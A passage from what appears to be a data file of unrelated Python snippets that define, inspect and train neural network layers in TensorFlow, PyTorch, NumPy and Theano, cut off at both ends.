layer.\n # if int(''.join(tf.__version__.split('.')[0:2]).ljust(3, '0')) < 240:\n # if k.upper() != \"TIMEDISTRIBUTED\" and hasattr(v, 'op'):\n # if hasattr(v.op, 'inputs'):\n # _ins = v.op.inputs\n # if len(_ins) == 0:\n # inputs.append(v)\n # else: # not sure if this is the proper way of checking if a layer receives an input or not!\n # if hasattr(v, '_keras_mask'):\n # inputs.append(v)\n\n setattr(self, 'initiated_layers', initiated_layers)\n setattr(self, 'input_lyrs', input_lyrs)\n\n\n # todo,\n # # for case when {Input -> Dense, Input_1}, this method wrongly makes Input_1 as output so in such case use\n # # {Input_1, Input -> Dense }, thus it makes Dense as output and first 2 as inputs, so throwing warning\n # if int(''.join(tf.__version__.split('.')[0:2]).ljust(3, '0')) < 240:\n # if len(layer_outputs.op.inputs) < 1:\n # print(\"Warning: the output is of Input tensor class type\")\n # else:\n # if 'op' not in dir(layer_outputs): # layer_outputs does not have `op`, which means it has no incoming node\n # print(\"Warning: the output is of Input tensor class type\")\n\n # outs = None\n #if BACKEND == 'tensorflow':\n # outs = self.call(input_lyrs)\n # setattr(self, 'output_lyrs', outs)\n # if BACKEND == 'tensorflow':\n # ## Reinitial\n # super(Model, self).__init__(\n # inputs=input_lyrs,\n # outputs=outs)\n #MODEL.__init__(self, inputs=inputs, outputs=outs)\n\n return input_lyrs # , outs","def nn(data):\n training_set = SupervisedDataSet*\n\n\n input_nodes = 3\n hidden_layer_1 = 10\n hidden_layer_2 = 10\n output_layer = 5\n\n net = buildNetwork(input_nodes, hidden_layer_1, hidden_layer_2, output_layer, bias=True, hiddenclass=TanhLayer)","def get_weights(layers):\n get_layer_weights = lambda layer: layer.get_weights()[0]\n return list(map(get_layer_weights, layers))","def __init__(self, input_dim, output_dim, hidden_dim=100, num_layers=2,\r\n num_epochs=100, learning_rate=0.001, threshold=0.1):\r\n super(ReluNet, self).__init__()\r\n\r\n self.input_dim = input_dim\r\n self.output_dim = output_dim\r\n self.hidden_dim = hidden_dim\r\n self.num_layers = num_layers\r\n self.num_epochs = num_epochs\r\n self.threshold = threshold\r\n self.learning_rate = learning_rate\r\n\r\n\r\n \r\n self.layers = nn.ModuleList()\r\n self.layers.append(nn.Linear(input_dim, hidden_dim))\r\n self.layers.append(nn.ReLU())\r\n for i in range(num_layers-1):\r\n self.layers.append(nn.Linear(hidden_dim, hidden_dim))\r\n self.layers.append(nn.ReLU())\r\n # output layer\r\n self.layers.append(nn.Linear(hidden_dim, output_dim))","def forward_one_multilayer(rnns, lstm_input, layer_states, dropout_amount=0.):\n num_layers = len(layer_states)\n new_states = []\n cell_states = []\n hidden_states = []\n state = lstm_input\n for i in range(num_layers):\n # view as (1, input_size)\n layer_h, layer_c = rnns[i](torch.unsqueeze(state,0), layer_states[i])\n new_states.append((layer_h, layer_c))\n\n layer_h = layer_h.squeeze()\n layer_c = layer_c.squeeze()\n\n state = layer_h\n if i < num_layers - 1:\n # In both Dynet and Pytorch\n # p stands for probability of an element to be zeroed. i.e. p=1 means switch off all activations.\n state = F.dropout(state, p=dropout_amount)\n\n cell_states.append(layer_c)\n hidden_states.append(layer_h)\n\n return (cell_states, hidden_states), state, new_states","def three_layer_neuralnetwork(X, model, y=None, reg=0.0,verbose=0):\n \n # Unpack weights\n W1, b1, W2, b2, W3, b3 = model['W1'], model['b1'], model['W2'], model['b2'],model['W3'],model['b3']\n N,D= X.shape\n\n assert W1.shape[0] == D, ' W1 2nd dimenions must match number of features'\n \n dW1,dW2,dW3,db1,db2,db3=np.zeros_like(W1),np.zeros_like(W2),np.zeros_like(W3),np.zeros_like(b1),np.zeros_like(b2),np.zeros_like(b3)\n # Compute the forward pass\n \n '''\n AffineLayer = X.dot(W1)+b1 \n ReluLayer,_ = relu_forward(AffineLayer)\n AffineLayer2 = ReluLayer.dot(W2) + b2\n ReluLayer2,_ = relu_forward(AffineLayer2)\n AffineLayer3 = ReluLayer2.dot(W3) + b3\n scores = AffineLayer3\n \n print X.shape\n print W1.shape\n print b1.shape\n print W2.shape\n print b2.shape\n print W3.shape\n print b3.shape\n '''\n affine_out1,cache1 = affine_forward(X, W1, b1)\n relu_out1,cache_relu1 = relu_forward(affine_out1)\n \n affine_out2,cache2 = affine_forward(relu_out1, W2, b2)\n relu_out2,cache_relu2 = relu_forward(affine_out2)\n \n affine_out3,cache3 = affine_forward(relu_out2, W3, b3)\n scores = affine_out3\n\n #if verbose:\n #print ['Layer {} Variance = {}'.format(i+1, np.var(l[:])) for i,l in enumerate([a1, a2, cache3[0]])][:]\n if y is None:\n return scores\n data_loss,d_softmax = softmax_loss(scores,y)\n data_loss += reg * (np.sum(W1*W1) + np.sum(W2*W2) + np.sum(W3*W3))\n '''\n max_scores = np.max(scores)\n scores -= max_scores\n correct_class_scores = scores[y,np.arange(N)]\n exp_score = np.exp(scores)\n sumexp = np.sum(exp_score,axis=0)\n loss_i = -correct_class_scores + np.log(sumexp)\n loss = np.sum(loss_i) / N \n ''' \t\n # Compute the backward pass\n \n d_affine_out3, dW3, db3 = affine_backward(d_softmax, cache3) \n d_relu2 = relu_backward(d_affine_out3, cache_relu2)\n \n d_affine_out2, dW2, db2 = affine_backward(d_relu2, cache2) \n d_relu1 = relu_backward(d_affine_out2, cache_relu1)\n \n d_affine_out1, dW1, db1 = affine_backward(d_relu1, cache1) \n \n #\n reg_loss = 0\n\n loss = data_loss + reg_loss\n grads = {'W1': dW1, 'b1': db1, 'W2': dW2, 'b2': db2,'W3':dW3,'b3':db3}\n \n return loss, grads","def _init_layers(self):\n self.relu = nn.ReLU(inplace=True)\n self.cls_convs = nn.ModuleList()\n self.reg_convs = nn.ModuleList()\n for i in range(self.stacked_convs):\n chn = self.in_channels if i == 0 else self.feat_channels\n self.cls_convs.append(\n ConvModule(\n chn,\n self.feat_channels,\n 3,\n stride=1,\n padding=1,\n conv_cfg=dict(type='DCN', deform_groups=1)\n if i == 0 and self.use_dcn else self.conv_cfg,\n norm_cfg=self.norm_cfg))\n self.reg_convs.append(\n ConvModule(\n chn,\n self.feat_channels,\n 3,\n stride=1,\n padding=1,\n conv_cfg=dict(type='DCN', deform_groups=1)\n if i == 0 and self.use_dcn else self.conv_cfg,\n norm_cfg=self.norm_cfg))\n self.atss_cls = nn.Conv2d(\n self.feat_channels,\n self.num_base_priors * self.cls_out_channels,\n 3,\n padding=1)\n self.atss_reg = nn.Conv2d(\n self.feat_channels, self.num_base_priors * 4, 3, padding=1)\n self.atss_iou = nn.Conv2d(\n self.feat_channels, self.num_base_priors * 1, 3, padding=1)\n self.scales = nn.ModuleList(\n [Scale(1.0) for _ in self.prior_generator.strides])\n\n # we use the global list in loss\n self.cls_num_pos_samples_per_level = [\n 0. for _ in range(len(self.prior_generator.strides))\n ]\n self.reg_num_pos_samples_per_level = [\n 0. for _ in range(len(self.prior_generator.strides))\n ]","def _get_input_layer_names(self, layer):\n if self._is_functional_model(self.model):\n inbound_nodes = layer['inbound_nodes']\n return [connection_info[0] for connection_info in inbound_nodes[0]]\n else: # Sequential model.\n layers = self._config['layers']\n i = layers.index(layer)\n if i == 0:\n # First layer has no inputs.\n return []\n else:\n return [layers[i - 1]['config']['name']]","def neuron_activations(obs, channel1, channel2, channel3, channel4):\n global model\n assert obs > 4 and obs < 1788, \"Chosen observation is outside the range of the demonstration episode.\"\n for chan in [channel1, channel2, channel3, channel4]:\n assert chan <= 31, \"There are only 32 channels available (max index 31).\"\n saved_observations = np.load('saved_observations.npy')\n conv_net_outputs = [model.model.layers[1].output]\n conv_only_model = Model(inputs=model.model.input, outputs=conv_net_outputs)\n state = saved_observations[obs-3:obs+1]\n state_batch = np.expand_dims(state, axis=0)\n activations = conv_only_model.predict(state_batch)\n frame = Image.fromarray(state[-1])\n bg = np.array(frame.resize((20,20)))\n\n _, arr = plt.subplots(1,5)\n arr[0].set_title('Frame Input')\n arr[0].imshow(frame, cmap='gray')\n arr[1].set_title('Channel {}'.format(channel1))\n arr[1].imshow(bg + activations[0,channel1,:,:] * 12, cmap='gray')\n arr[2].set_title('Channel {}'.format(channel2))\n arr[2].imshow(bg + activations[0,channel2,:,:] * 12, cmap='gray')\n arr[3].set_title('Channel {}'.format(channel3))\n arr[3].imshow(bg + activations[0,channel3,:,:] * 12, cmap='gray')\n arr[4].set_title('Channel {}'.format(channel4))\n arr[4].imshow(bg + activations[0,channel4,:,:] * 12, cmap='gray')\n plt.show()","def three_layers_cnn( input_layer ):\n # Convolutional Layer #1\n # Computes 8 features using a 4x4 filter with ReLU activation.\n # Padding is added to preserve width and height.\n # Input Tensor Shape: [batch_size, NXCHANNELS, NVCHANNELS, 1]\n # Output Tensor Shape: [batch_size, NXCHANNELS, NVCHANNELS, 8]\n\n conv1 = tf.layers.conv2d(\n inputs = input_layer,\n filters = 8,\n kernel_size = [4,4],\n padding=\"same\",\n activation=tf.nn.relu)\n\n # Pooling Layer #1\n # First max pooling layer with a 8 filter and stride of 2\n # Input Tensor Shape: [batch_size, 64, 64]\n # Output Tensor Shape: [batch_size, 32, 32, 8]\n pool1 = tf.layers.max_pooling2d(inputs=conv1, pool_size=(2,2), strides=2)\n\n # Convolutional Layer #2\n # Computes 16 features using a 4x4 filter.\n # Padding is added to preserve width and height.\n # Input Tensor Shape: [batch_size, 32, 32, 8 ]\n # Output Tensor Shape: [batch_size, 32, 32, 16]\n conv2 = tf.layers.conv2d(\n inputs = pool1,\n filters = 16,\n kernel_size = [4,4],\n padding =\"same\",\n activation =tf.nn.relu)\n\n # Pooling Layer #2\n # Second max pooling layer with a 2 filter and stride of 2\n # Input Tensor Shape: [batch_size, 32, 32, 16]\n # Output Tensor Shape: [batch_size, 16, 16, 16]\n pool2 = tf.layers.max_pooling2d(inputs=conv2, pool_size=(2,2), strides=2)\n \n # Convolutional Layer #3\n # Computes 16 features using a 4x4 filter.\n # Padding is added to preserve width and height.\n # Input Tensor Shape: [batch_size, 16, 16, 16 ]\n # Output Tensor Shape: [batch_size, 16, 16, 32 ]\n conv3 = tf.layers.conv2d(\n inputs = pool2,\n filters = 32,\n kernel_size = [4,4],\n padding =\"same\",\n activation =tf.nn.relu)\n \n # Pooling Layer #2\n # Second max pooling layer with a 2 filter and stride of 2\n # Input Tensor Shape: [batch_size, 16, 16, 32]\n # Output Tensor Shape: [batch_size, 4, 4, 32]\n pool3 = tf.layers.max_pooling2d(inputs=conv3, pool_size=(4,4), strides=4)\n \n\n # Flatten tensor into a batch of vectors\n # Input Tensor Shape: [batch_size, 4, 4, 32]\n # Output Tensor Shape: [batch_size, 4x4x32 ]\n pool3_flat = tf.reshape(pool3, [-1, 4*4*32 ])\n\n return pool3_flat","def print_layers(model):\r\n for i in range(len(model.layers)):\r\n print(\"Printing layer shape: %d\" % i, model.layers[i])\r\n weights = model.layers[i].get_weights()\r\n for weight in weights: # Layer type\r\n print(weight.shape)","def add_neuron(self):\n self.num_hiddens += 1\n self.input2hidden_layers[str(len(self.input2hidden_layers))] = nn.Linear(self.input_size, 1, bias=False)\n for n_connection in range(self.num_hiddens - 1):\n self.hidden2hidden_layers[str(len(self.hidden2hidden_layers))] = nn.Linear(1, 1,bias=False)\n self.hidden2output_layers[str(len(self.hidden2output_layers))] = nn.Linear(1, self.num_classes, bias=False)\n\n return","def _init_layers(self) -> None:\n self.relu = nn.ReLU(inplace=True)\n self.cls_convs = nn.ModuleList()\n self.reg_convs = nn.ModuleList()\n for i in range(self.stacked_convs):\n chn = self.in_channels if i == 0 else self.feat_channels\n self.cls_convs.append(\n ConvModule(\n chn,\n self.feat_channels,\n 3,\n stride=1,\n padding=1,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg))\n self.reg_convs.append(\n ConvModule(\n chn,\n self.feat_channels,\n 3,\n stride=1,\n padding=1,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg))\n pred_pad_size = self.pred_kernel_size // 2\n self.atss_cls = nn.Conv2d(\n self.feat_channels,\n self.num_anchors * self.cls_out_channels,\n self.pred_kernel_size,\n padding=pred_pad_size)\n self.atss_reg = nn.Conv2d(\n self.feat_channels,\n self.num_base_priors * 4,\n self.pred_kernel_size,\n padding=pred_pad_size)\n self.atss_centerness = nn.Conv2d(\n self.feat_channels,\n self.num_base_priors * 1,\n self.pred_kernel_size,\n padding=pred_pad_size)\n self.scales = nn.ModuleList(\n [Scale(1.0) for _ in self.prior_generator.strides])","def predict_visualize_layers(self, X):\n\n if isinstance(X, np.ndarray):\n X = np.reshape(X, (X.shape[0], X.shape[1], X.shape[2], 1))\n elif isinstance(X, tf.data.Dataset):\n X = X.map(self._reshape)\n\n for x, y in X:\n x = tf.expand_dims(x, 0)\n\n plt.title(\"Test Sample Input\")\n plt.grid(False)\n plt.imshow(x[0, :, :, 0], aspect='auto', cmap='plasma', origin='lower')\n plt.colorbar()\n plt.show()\n\n layer_outputs = [layer.output for layer in self.model.layers]\n visualisation_model = tf.keras.models.Model(inputs=self.model.input, outputs=layer_outputs)\n\n visualisations = visualisation_model.predict(x)\n\n images_per_row = 4\n\n for layer_name, layer_activation in zip(map(lambda x : x.name, layer_outputs[:3]), visualisations[:3]):\n n_features = layer_activation.shape[-1]\n size = layer_activation.shape[1:3]\n n_cols = n_features // images_per_row\n grid = np.zeros((size[0] * n_cols, images_per_row * size[1]))\n\n for col in range(n_cols):\n for row in range(images_per_row):\n channel_image = layer_activation[0, :, :, col * images_per_row + row]\n channel_image -= channel_image.mean()\n channel_image /= channel_image.std()\n channel_image *= 64\n channel_image += 128\n channel_image = np.clip(channel_image, 0, 255).astype('uint8')\n grid[col * size[0]: (col + 1) * size[0], row * size[1]: (row + 1) * size[1]] = channel_image\n\n plt.figure(figsize=(1. / size[0] * grid.shape[1], 3. / size[1] * grid.shape[0]))\n plt.title(layer_name)\n plt.grid(False)\n plt.imshow(grid, aspect='auto', cmap='plasma', origin='lower')\n plt.colorbar()\n plt.show()\n\n pred = np.argmax(visualisations[-1])\n print(f\"Predicted class: {Genre(pred)} with probability {visualisations[-1][0][pred]}\\n\"\n + f\"Actual class: {Genre(y)}\")","def update_layers(self):\n\n # Para cada layer atualiza utilizando o gradiente descendente e o learning rate\n for layer in self.layers:\n layer.update_layer(self.learning_rate)","def build_dense_network(data, hidden_layers, **kwargs):\n # Input layer\n with tf.variable_scope(\"layer_1\"): \n weights = tf.get_variable(\"weights\", shape = [input_shape[-1] + 1\n , hidden_layers[0]], initializer = tf.variance_scaling_initializer())\n\n output = tf.nn.leaky_relu(tf.matmul(tf.concat([data, tf.ones(dtype = tf.float32\n , shape = (tf.shape(data)[0], 1))], axis = 1) # concat\n , weights, name = \"multiply\") # matmul\n , α, name = \"output\") # leaky relu\n\n # DROP-OUT after the activation func\n output = tf.nn.dropout(output, keep_prob=δ, name = \"output\") \n\n # Hidden layers 1 to len(hidden_layers) - 1\n for i in range(2, len(hidden_layers)-1+2):\n\n with tf.variable_scope(f\"layer_{i}\"):\n n_nodes = hidden_layers[i-1]\n\n weights = tf.get_variable(\"weights\", shape = [hidden_layers[i-2]+1, hidden_layers[i-1]], initializer = tf.variance_scaling_initializer())\n output = tf.nn.leaky_relu(tf.matmul(tf.concat([output, tf.ones(dtype = tf.float32, shape = (tf.shape(data)[0], 1))], axis = 1), weights, name = \"multiply\"), α, name = \"output\")\n\n # DROP-OUT after the activation func\n output = tf.nn.dropout(output, keep_prob=δ, name = \"output\") \n\n # Output layer\n with tf.variable_scope(f\"layer_{len(hidden_layers)+1}\"):\n\n weights = tf.get_variable(\"weights\", shape = (hidden_layers[1]+1, n_summaries), initializer = tf.variance_scaling_initializer())\n output = tf.identity(tf.matmul(tf.concat([output, tf.ones(dtype = tf.float32, shape = (tf.shape(data)[0], 1))], axis = 1), weights, name = \"multiply\"), name = \"output\")\n # NO DROP-OUT in the last layer\n\n\n return output","def __init__(self, weights, alphas):\n self._neurons = [Neuron(a, w) for w, a in zip(weights, alphas)]","def lenet_network(name, input_shape, output_count):\n network = NeuralNetwork(name, input_shape, output_count)\n\n # normal distribution parameters for random weights\n mean = 0.0\n stddev = 0.1\n\n # General convolution shapes and parameters common to all convolutional layers\n conv_stride_shape = (1, 1)\n conv_pad_shape = (0, 0)\n conv_pad_type = 'VALID'\n\n pool_stride_shape = (2, 2)\n pool_shape = (2, 2)\n pool_pad_type = 'VALID'\n\n activation = 'relu'\n\n # Kernel depths and sizes for each convolution layer\n depths = [6, 16]\n kernel_shapes = [(5, 5, depths[0]), (5, 5, depths[1])]\n conv_layer_count = len(depths)\n\n # Create convolutional layers\n conv = None\n for i in range(conv_layer_count):\n name = 'l{:d}'.format(i)\n if i > 0:\n input_shape = conv.output_shape\n conv = ConvolutionalLayer(name, input_shape, kernel_shapes[i], conv_stride_shape, \\\n conv_pad_shape, conv_pad_type, activation)\n conv.add_pooling('max', pool_shape, pool_stride_shape, pool_pad_type)\n network.add_layer(conv, mean, stddev)\n\n # Linear layer dimensions\n linear_input_sizes = [400, 120, 84]\n linear_output_sizes = [120, 84, 10]\n linear_activations = ['relu', 'relu', None]\n\n # Create linear layers\n for i, input_size in enumerate(linear_input_sizes):\n layer_index = i + conv_layer_count\n name = 'l{:d}'.format(layer_index)\n linear = LinearLayer(name, input_size, linear_output_sizes[i], linear_activations[i])\n linear.init_weights_and_biases(mean, stddev)\n network.add_layer(linear, mean, stddev)\n\n network.define_network()\n\n learning_rate = 0.001\n network.define_operations(learning_rate, 'adam')\n\n return network","def update_networks(self):\n\t\t# layer 1 update\n\t\tself.W1_tv = tf.assign(self.W1_tv, self.W1_av)\n\t\tself.b1_tv = tf.assign(self.b1_tv, self.b1_av)\n\n\t\t# layer 2 update\n\t\tself.W2_tv = tf.assign(self.W2_tv, self.W2_av)\n\t\tself.b2_tv = tf.assign(self.b2_tv, self.b2_av)\n\n\t\t# layer 3 update\n\t\tself.W3_tv = tf.assign(self.W3_tv, self.W3_av)\n\t\tself.b3_tv = tf.assign(self.b3_tv, self.b3_av)","def _init_layers(self) -> None:\n self.convs_all_levels = nn.ModuleList()\n for i in range(self.start_level, self.end_level + 1):\n convs_per_level = nn.Sequential()\n convs_per_level.add_module(\n f'conv{i}',\n ConvModule(\n self.in_channels,\n self.feat_channels,\n 3,\n padding=1,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg,\n inplace=False,\n bias=False))\n self.convs_all_levels.append(convs_per_level)\n\n conv_branch = []\n for _ in range(self.num_stacked_convs):\n conv_branch.append(\n ConvModule(\n self.feat_channels,\n self.feat_channels,\n 3,\n padding=1,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg,\n bias=False))\n self.conv_branch = nn.Sequential(*conv_branch)\n\n self.conv_pred = nn.Conv2d(\n self.feat_channels, self.out_channels, 1, stride=1)","def __init__(self):\n self.layers = []\n self.best_loss = None","def network(x, FLAGS):\n\tconv_out, outsize, nfeatures = hnn.convlayers(x, FLAGS)\n\tconv_out_flat = tf.reshape(conv_out, [-1, outsize * outsize * nfeatures])\n\ty = hnn.fclayers(conv_out_flat, outsize * outsize * nfeatures, [FLAGS.hidden_layer_size, NUM_CLASSES], FLAGS)\n\treturn y","def __init__(self, n_input, n_output, hidden_layer_size, reg):\n self.reg = reg\n self.fulllayer1 = FullyConnectedLayer(n_input, hidden_layer_size)\n self.reglayer1 = ReLULayer()\n self.fulllayer2 = FullyConnectedLayer(hidden_layer_size, n_output)","def __init__(self, attribute_size, output_size, n_hidden_layers=2, n_hidden_neurons=30):\n self.n_hidden_layers = n_hidden_layers\n self.n_hidden_neurons = n_hidden_neurons\n self.attribute_size = attribute_size\n self.output_size = output_size\n\n X = T.fmatrix()\n Y = T.fmatrix()\n\n self.w_h = nnet.init_weights((self.attribute_size, self.n_hidden_neurons))\n self.w_h2 = nnet.init_weights((self.n_hidden_neurons, self.n_hidden_neurons))\n self.w_o = nnet.init_weights((self.n_hidden_neurons, self.output_size))\n\n if self.n_hidden_layers == 2:\n\n noise_py_x = nnet.model_reg(X, self.w_h, self.w_h2, self.w_o, 0, 0)\n py_x = nnet.model_reg(X, self.w_h, self.w_h2, self.w_o, 0, 0)\n\n cost = nnet.rmse(noise_py_x, Y)\n params = [self.w_h, self.w_h2, self.w_o]\n updates = nnet.RMSprop(cost, params, lr=0.001)\n\n self.train = theano.function(inputs=[X, Y], outputs=cost, updates=updates, allow_input_downcast=True)\n self.predict_ = theano.function(inputs=[X], outputs=py_x, allow_input_downcast=True)\n\n elif self.n_hidden_layers == 3:\n\n self.w_h3 = nnet.init_weights((self.n_hidden_neurons, self.n_hidden_neurons))\n\n noise_py_x = nnet.model_reg3(X, self.w_h, self.w_h2, self.w_h3, self.w_o, 0, 0)\n py_x = nnet.model_reg3(X, self.w_h, self.w_h2, self.w_h3, self.w_o, 0, 0)\n\n cost = nnet.rmse(noise_py_x, Y)\n params = [self.w_h, self.w_h2, self.w_h3, self.w_o]\n updates = nnet.RMSprop(cost, params, lr=0.001)\n\n self.train = theano.function(inputs=[X, Y], outputs=cost, updates=updates, allow_input_downcast=True)\n self.predict_ = theano.function(inputs=[X], outputs=py_x, allow_input_downcast=True)","def create(self):\n \n \"\"\" A solo prepressing reduction network in the head \"\"\"\n print(\"pre_reduction\")\n with tf.name_scope('pre_reduction'):\n conv1 = NW.conv(self.X, 7, 7, 64, 2, 2, name='conv1')\n pool1 = NW.max_pool(conv1, 3, 3, 2, 2, name='pool1')\n norm1 = NW.lrn(pool1, 2, 2e-05, 0.75, name='norm1')\n reduction2 = NW.conv(norm1, 1, 1, 64, 1, 1, name='reduction2')\n conv2 = NW.conv(reduction2, 3, 3, 192, 1, 1,name='conv2')\n norm2 = NW.lrn(conv2, 2, 2e-05, 0.75, name='norm2')\n pool2 = NW.max_pool(norm2, 3, 3, 2, 2, name='pool2')\n \n \"\"\" 1st inception layer group \"\"\"\n print(\"icp1\")\n with tf.name_scope('icp1'):\n # branch 0\n icp1_out0 = NW.conv(pool2, 1, 1, 64, 1, 1, name='icp1_out0')\n # branch 1\n icp1_reduction1 = NW.conv(pool2, 1, 1, 96, 1, 1, name='icp1_reduction1')\n icp1_out1 = NW.conv(icp1_reduction1, 3, 3, 128, 1, 1, name='icp1_out1')\n # branch 2\n icp1_reduction2 = NW.conv(pool2, 1, 1, 16, 1, 1, name='icp1_reduction2')\n icp1_out2 = NW.conv(icp1_reduction2, 5, 5, 32, 1, 1, name='icp1_out2')\n # branch 3\n icp1_pool = NW.max_pool(pool2, 3, 3, 1, 1, name='icp1_pool')\n icp1_out3 = NW.conv(icp1_pool, 1, 1, 32, 1, 1, name='icp1_out3')\n # concat\n icp2_in = NW.concat([icp1_out0,\n icp1_out1,\n icp1_out2,\n icp1_out3], 3, 'icp2_in')\n\n \"\"\" 2nd inception layer group \"\"\"\n print(\"icp2\")\n with tf.name_scope('icp2'):\n # branch 0\n icp2_out0 = NW.conv(icp2_in, 1, 1, 128, 1, 1, name='icp2_out0')\n # branch 1\n icp2_reduction1 = NW.conv(icp2_in, 1, 1, 128, 1, 1, name='icp2_reduction1')\n icp2_out1 = NW.conv(icp2_reduction1, 3, 3, 192, 1, 1, name='icp2_out1')\n # branch 2\n icp2_reduction2 = NW.conv(icp2_in, 1, 1, 32, 1, 1, name='icp2_reduction2')\n icp2_out2 = NW.conv(icp2_reduction2, 5, 5, 96, 1, 1, name='icp2_out2')\n # branch 3\n icp2_pool = NW.max_pool(icp2_in, 3, 3, 1, 1, name='icp2_pool')\n icp2_out3 = NW.conv(icp2_pool, 1, 1, 64, 1, 1, name='icp2_out3')\n # concat\n icp2_out = NW.concat([icp2_out0,\n icp2_out1,\n icp2_out2,\n icp2_out3], 3, 'icp2_out')\n \n \"\"\" 3rd inception layer group \"\"\"\n print(\"icp3\")\n with tf.name_scope('icp3'):\n icp3_in = NW.max_pool(icp2_out, 3, 3, 2, 2, name='icp3_in')\n # branch 0\n icp3_out0 = NW.conv(icp3_in, 1, 1, 192, 1, 1, name='icp3_out0')\n # branch 1\n icp3_reduction1 = NW.conv(icp3_in, 1, 1, 96, 1, 1, name='icp3_reduction1')\n icp3_out1 = NW.conv(icp3_reduction1, 3, 3, 208, 1, 1, name='icp3_out1')\n # branch 2\n icp3_reduction2 = NW.conv(icp3_in, 1, 1, 16, 1, 1, name='icp3_reduction2')\n icp3_out2 = NW.conv(icp3_reduction2, 5, 5, 48, 1, 1, name='icp3_out2')\n # branch 3\n icp3_pool = NW.max_pool(icp3_in, 3, 3, 1, 1, name='icp3_pool')\n icp3_out3 = NW.conv(icp3_pool, 1, 1, 64, 1, 1, name='icp3_out3')\n # concat\n icp3_out = NW.concat([icp3_out0,\n icp3_out1,\n icp3_out2,\n icp3_out3], 3, 'icp3_out')\n \n \"\"\" 1st classify branch \"\"\"\n with tf.name_scope('cls1'):\n cls1_pool = NW.avg_pool(icp3_out, 5, 5, 3, 3, padding='VALID', name='cls1_pool')\n cls1_reduction_pose = NW.conv(cls1_pool, 1, 1, 128, 1, 1, name='cls1_reduction_pose')\n cls1_fc1_pose = NW.fc(cls1_reduction_pose, 1024, name='cls1_fc1_pose')\n cls1_fc_pose_xy = NW.fc(cls1_fc1_pose, 2, relu=False, name='cls1_fc_pose_xy')\n cls1_fc_pose_ab = NW.fc(cls1_fc1_pose, 2, relu=False, name='cls1_fc_pose_ab')\n self.layers[\"cls1_fc_pose_xy\"] = cls1_fc_pose_xy\n self.layers[\"cls1_fc_pose_ab\"] = cls1_fc_pose_ab\n \n \"\"\" 4st inception layer group \"\"\"\n print(\"icp4\")\n with tf.name_scope('icp4'):\n # branch 0\n icp4_out0 = NW.conv(icp3_out, 1, 1, 160, 1, 1, name='icp4_out0')\n # branch 1\n icp4_reduction1 = NW.conv(icp3_out, 1, 1, 112, 1, 1, name='icp4_reduction1')\n icp4_out1 = NW.conv(icp4_reduction1, 3, 3, 224, 1, 1, name='icp4_out1')\n # branch 2\n icp4_reduction2 = NW.conv(icp3_out, 1, 1, 24, 1, 1, name='icp4_reduction2')\n icp4_out2 = NW.conv(icp4_reduction2, 5, 5, 64, 1, 1, name='icp4_out2')\n # branch 3\n icp4_pool = NW.max_pool(icp3_out, 3, 3, 1, 1, name='icp4_pool')\n icp4_out3 = NW.conv(icp4_pool, 1, 1, 64, 1, 1, name='icp4_out3')\n # concat\n icp4_out = NW.concat([icp4_out0,\n icp4_out1,\n icp4_out2,\n icp4_out3],3, name='icp4_out')\n\n \"\"\" 5st inception layer group \"\"\"\n print(\"icp5\")\n with tf.name_scope('icp5'):\n # branch 0\n icp5_out0 = NW.conv(icp4_out, 1, 1, 128, 1, 1, name='icp5_out0')\n # branch 1\n icp5_reduction1 = NW.conv(icp4_out, 1, 1, 128, 1, 1, name='icp5_reduction1')\n icp5_out1 = NW.conv(icp5_reduction1, 3, 3, 256, 1, 1, name='icp5_out1')\n # branch 2\n icp5_reduction2 = NW.conv(icp4_out,1, 1, 24, 1, 1, name='icp5_reduction2')\n icp5_out2 = NW.conv(icp5_reduction2, 5, 5, 64, 1, 1, name='icp5_out2')\n # branch 3\n icp5_pool = NW.max_pool(icp4_out,3, 3, 1, 1, name='icp5_pool')\n icp5_out3 = NW.conv(icp5_pool, 1, 1, 64, 1, 1, name='icp5_out3')\n # concat\n icp5_out = NW.concat([icp5_out0, \n icp5_out1, \n icp5_out2, \n icp5_out3], 3, name='icp5_out')\n \n \"\"\" 6st inception layer group \"\"\"\n print(\"icp6\")\n with tf.name_scope('icp6'):\n # branch 0\n icp6_out0 = NW.conv(icp5_out, 1, 1, 112, 1, 1, name='icp6_out0')\n # branch 1\n icp6_reduction1 = NW.conv(icp5_out, 1, 1, 144, 1, 1, name='icp6_reduction1')\n icp6_out1 = NW.conv(icp6_reduction1, 3, 3, 288, 1, 1, name='icp6_out1')\n # branch 2\n icp6_reduction2 = NW.conv(icp5_out, 1, 1, 32, 1, 1, name='icp6_reduction2')\n icp6_out2 = NW.conv(icp6_reduction2, 5, 5, 64, 1, 1, name='icp6_out2')\n # branch 3\n icp6_pool = NW.max_pool(icp5_out,3, 3, 1, 1, name='icp6_pool')\n icp6_out3 = NW.conv(icp6_pool, 1, 1, 64, 1, 1, name='icp6_out3')\n # concat\n icp6_out = NW.concat([icp6_out0,\n icp6_out1,\n icp6_out2,\n icp6_out3], 3, name='icp6_out')\n\n \"\"\" 2nd classify branch \"\"\"\n with tf.name_scope('cls2'):\n cls2_pool = NW.avg_pool(icp6_out, 5, 5, 3, 3, padding='VALID', name='cls2_pool')\n cls2_reduction_pose = NW.conv(cls2_pool, 1, 1, 128, 1, 1, name='cls2_reduction_pose')\n cls2_fc1 = NW.fc(cls2_reduction_pose, 1024, name='cls2_fc1')\n cls2_fc_pose_xy = NW.fc(cls2_fc1, 2, relu=False, name='cls2_fc_pose_xy')\n cls2_fc_pose_ab = NW.fc(cls2_fc1, 2, relu=False, name='cls2_fc_pose_ab')\n self.layers[\"cls2_fc_pose_xy\"] = cls2_fc_pose_xy\n self.layers[\"cls2_fc_pose_ab\"] = cls2_fc_pose_ab\n\n \"\"\" 7st inception layer group \"\"\"\n print(\"icp7\")\n with tf.name_scope('icp7'):\n # branch 0\n icp7_out0 = NW.conv(icp6_out, 1, 1, 256, 1, 1, name='icp7_out0')\n # branch 1\n icp7_reduction1 = NW.conv(icp6_out, 1, 1, 160, 1, 1, name='icp7_reduction1')\n icp7_out1 = NW.conv(icp7_reduction1, 3, 3, 320, 1, 1, name='icp7_out1')\n # branch 2\n icp7_reduction2 = NW.conv(icp6_out, 1, 1, 32, 1, 1, name='icp7_reduction2')\n icp7_out2 = NW.conv(icp7_reduction2, 5, 5, 128, 1, 1, name='icp7_out2')\n # branch 3\n icp7_pool = NW.max_pool(icp6_out, 3, 3, 1, 1, name='icp7_pool')\n icp7_out3 = 